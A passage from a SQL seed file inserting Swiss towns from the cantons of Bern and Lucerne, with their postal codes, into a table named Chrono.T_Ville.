Chrono.T_Ville VALUES ("CHE","Les Ecorcheresses",2748,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pontenet",2733,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bévilard",2735,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Malleray",2735,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Neuveville",2520,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nods",2518,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prêles",2515,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lamboing",2516,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diesse",2517,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aegerten",2558,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellmund",2564,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brügg BE",2555,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bühl b. Aarberg",3274,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Epsach",3272,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hagneck",2575,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hermrigen",3274,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jens",2565,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ipsach",2563,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ligerz",2514,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Merzligen",3274,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mörigen",2572,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nidau",2560,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orpund",2552,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Port",2562,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Safnern",2553,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scheuren",2556,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwadernau",2556,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Studen BE",2557,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sutz",2572,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Täuffelen",2575,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gerolfingen",2575,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walperswil",3272,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Worben",3252,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tüscherz-Alfermée",2512,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Twann",2513,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Därstetten",3763,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weissenburg",3764,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oey",3753,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diemtigen",3754,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horboden",3755,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zwischenflüh",3756,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwenden im Diemtigtal",3757,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Latterbach",3758,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erlenbach im Simmental",3762,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwil im Simmental",3765,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reutigen",3647,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gwatt (Thun)",3645,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Einigen",3646,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Spiez",3700,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hondrich",3702,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Faulensee",3705,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wimmis",3752,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Höfen b. Thun",3631,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederstocken",3632,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberstocken",3632,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guttannen",3864,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6083,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6084,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6085,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",6086,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Innertkirchen",3862,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gadmen",3863,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterbach BE",3857,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meiringen",3860,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brünig",3860,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rosenlaui",3860,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schattenhalb",3860,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boltigen",3766,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lenk im Simmental",3775,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Stephan",3772,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Matten (St. Stephan)",3773,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zweisimmen",3770,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blankenburg",3771,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oeschseite",3776,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Feutersoey",3784,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gsteig b. Gstaad",3785,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lauenen b. Gstaad",3782,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Abländschen",1657,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saanenmöser",3777,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönried",3778,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gstaad",3780,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Turbach",3781,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grund b. Gstaad",3783,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saanen",3792,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sangernboden",1738,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riffenmatt",3156,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guggisberg",3158,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riedstätt",3159,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüschegg Gambach",3153,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüschegg Heubach",3154,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lanzenhäusern",3148,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzenburg",3150,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mamishaus",3152,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Milken",3157,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Albligen",3183,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belp",3123,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belpberg",3124,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Burgistein",3664,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gelterfingen",3126,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gerzensee",3115,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gurzelen",3663,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jaberg",3629,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaufdorf",3126,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kehrsatz",3122,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchdorf BE",3116,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchenthurnen",3128,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lohnstorf",3127,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühledorf BE",3116,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlethurnen",3127,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niedermuhlern",3087,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Noflen BE",3116,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüti b. Riggisberg",3099,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riggisberg",3132,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüeggisberg",3088,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbütschel",3088,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hinterfultigen",3089,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Helgisried-Rohrbach",3155,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rümligen",3128,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seftigen",3662,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Toffen",3125,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uttigen",3628,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wattenwil",3665,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zimmerwald",3086,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Englisberg",3086,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeschau",3536,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eggiwil",3537,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langnau im Emmental",3550,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberfrittenbach",3551,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bärau",3552,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gohl",3553,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lauperswil",3438,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Emmenmatt",3543,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Röthenbach im Emmental",3538,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwanden im Emmental",3433,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zollbrück",3436,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüderswil",3437,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schangnau",6197,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Signau",3534,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schüpbach",3535,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trub",3556,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fankhaus (Trub)",3557,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trubschachen",3555,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Amsoldingen",3633,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blumenstein",3638,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heimenschwand",3615,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eriz",3619,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Innereriz",3619,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fahrni b. Thun",3617,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heiligenschwendi",3625,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heimberg",3627,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hünibach",3626,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hilterfingen",3652,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Homberg b. Thun",3622,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horrenbach",3623,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchen BE",3623,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhofen am Thunersee",3653,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pohlern",3638,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwendibach",3624,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gunten",3654,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sigriswil",3655,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tschingel ob Gunten",3656,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeschlen ob Gunten",3656,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ringoldswil",3656,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwanden (Sigriswil)",3657,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Merligen",3658,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steffisburg",3612,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steffisburg",3613,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Teuffenthal b. Thun",3623,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thierachern",3634,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thun",3600,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thun",3603,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thun",3604,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thun",3608,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goldiwil (Thun)",3624,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uebeschi",3635,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uetendorf",3661,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterlangenegg",3614,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzenegg",3616,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Süderen",3618,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zwieselberg",3645,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Längenbühl",3636,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Forst b. Längenbühl",3636,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Affoltern im Emmental",3416,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weier im Emmental",3462,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Häusernmoos im Emmental",3463,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dürrenroth",3465,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eriswil",4952,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Huttwil",4950,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzenbach (Huttwil)",4953,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lützelflüh-Goldbach",3432,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramsei",3435,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ranflüh",3439,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grünenmatt",3452,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüegsauschachen",3415,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüegsau",3417,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüegsbach",3418,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sumiswald",3454,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grünen",3455,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wasen im Emmental",3457,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heimisbach",3453,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trachselwald",3456,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmidigen-Mühleweg",3464,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walterswil BE",4942,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wyssachen",4954,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Attiswil",4536,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berken",3376,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettenhausen",3366,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bollodingen",3366,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Farnern",4539,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Graben",3376,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wanzwil",3372,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Röthenbach Herzogenbuchsee",3373,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heimenhausen",3373,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herzogenbuchsee",3360,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberönz",3363,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Inkwil",3375,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederbipp",4704,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederönz",3362,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbipp",4538,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ochlenberg",3367,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oschwand",3476,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rumisberg",4539,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grasswil",3365,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seeberg",3365,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riedtwil",3475,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hermiswil",3475,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thörigen",3367,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walliswil b. Niederbipp",3380,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",3377,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wangen an der Aare",3380,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wangenried",3374,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiedlisbach",4537,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolfisberg",4704,"BE"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Doppleschwand",6112,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Entlebuch",6162,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rengg",6162,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Finsterwald b. Entlebuch",6162,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebnet",6163,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flühli LU",6173,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sörenberg",6174,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hasle LU",6166,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Romoos",6113,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bramboden",6167,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schüpfheim",6170,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schachen LU",6105,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Werthenstein",6106,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Escholzmatt",6182,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiggen",6192,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marbach LU",6196,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aesch LU",6287,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altwis",6286,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ballwil",6275,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Emmenbrücke",6020,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Emmen",6032,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ermensee",6294,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschenbach LU",6274,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gelfingen",6284,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sulz LU",6284,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hitzkirch",6285,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Retschwil",6285,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Müswangen",6289,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hämikon",6289,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hämikon",6289,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mosen",6295,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hochdorf",6280,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Urswil",6280,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baldegg",6283,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hohenrain",6276,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleinwangen",6277,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lieli LU",6277,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Inwil",6034,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rain",6026,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Römerswil LU",6027,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herlisberg",6028,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothenburg",6023,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schongau",6288,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Adligenswil",6043,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchrain",6033,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Perlen",6035,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dierikon",6036,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebikon",6030,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gisikon",6038,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Greppen",6404,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Honau",6038,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Niklausen LU",6005,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kastanienbaum",6047,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horw",6048,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kriens",6010,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obernau",6012,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzern",6003,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzern",6004,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzern",6005,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzern",6006,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzern",6014,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luzern",6015,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Malters",6102,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meggen",6045,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meierskappel",6344,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Root",6037,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Root D4",6039,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eigenthal",6013,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzenberg LU",6103,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Udligenswil",6044,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vitznau",6354,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weggis",6353,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rigi Kaltbad",6356,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neudorf",6025,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beromünster",6215,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzenbach LU",6215,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gunzwil",6222,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büron",6233,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buttisholz",6018,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eich",6205,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Geuensee",6232,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grosswangen",6022,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hildisrieden",6024,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Erhard",6212,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Knutwil",6213,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaltbach",6212,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mauensee",6216,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hellbühl",6016,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sempach Station",6203,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuenkirch",6206,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nottwil",6207,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberkirch LU",6208,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfeffikon LU",5735,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach LU",6221,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ruswil",6017,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sigigen",6019,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schenkon",6214,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlierbach",6231,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sempach",6204,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sursee",6210,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Triengen",6234,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kulmerau",6234,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winikon",6235,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilihof",6236,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolhusen",6110,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontannen b. Wolhusen",6110,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinhuserberg",6114,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alberswil",6248,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altbüron",6147,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altishofen",6246,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchs LU",6211,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dagmersellen",6252,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uffikon",6253,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebersecken",6245,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egolzwil",6243,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kottwil",6217,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ettiswil",6218,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fischbach LU",6145,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gettnau",6142,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grossdietwil",6146,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hergiswil b. Willisau",6133,"LU"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hofstatt",6154,"LU"); INSERT INTO Chrono.T_Ville 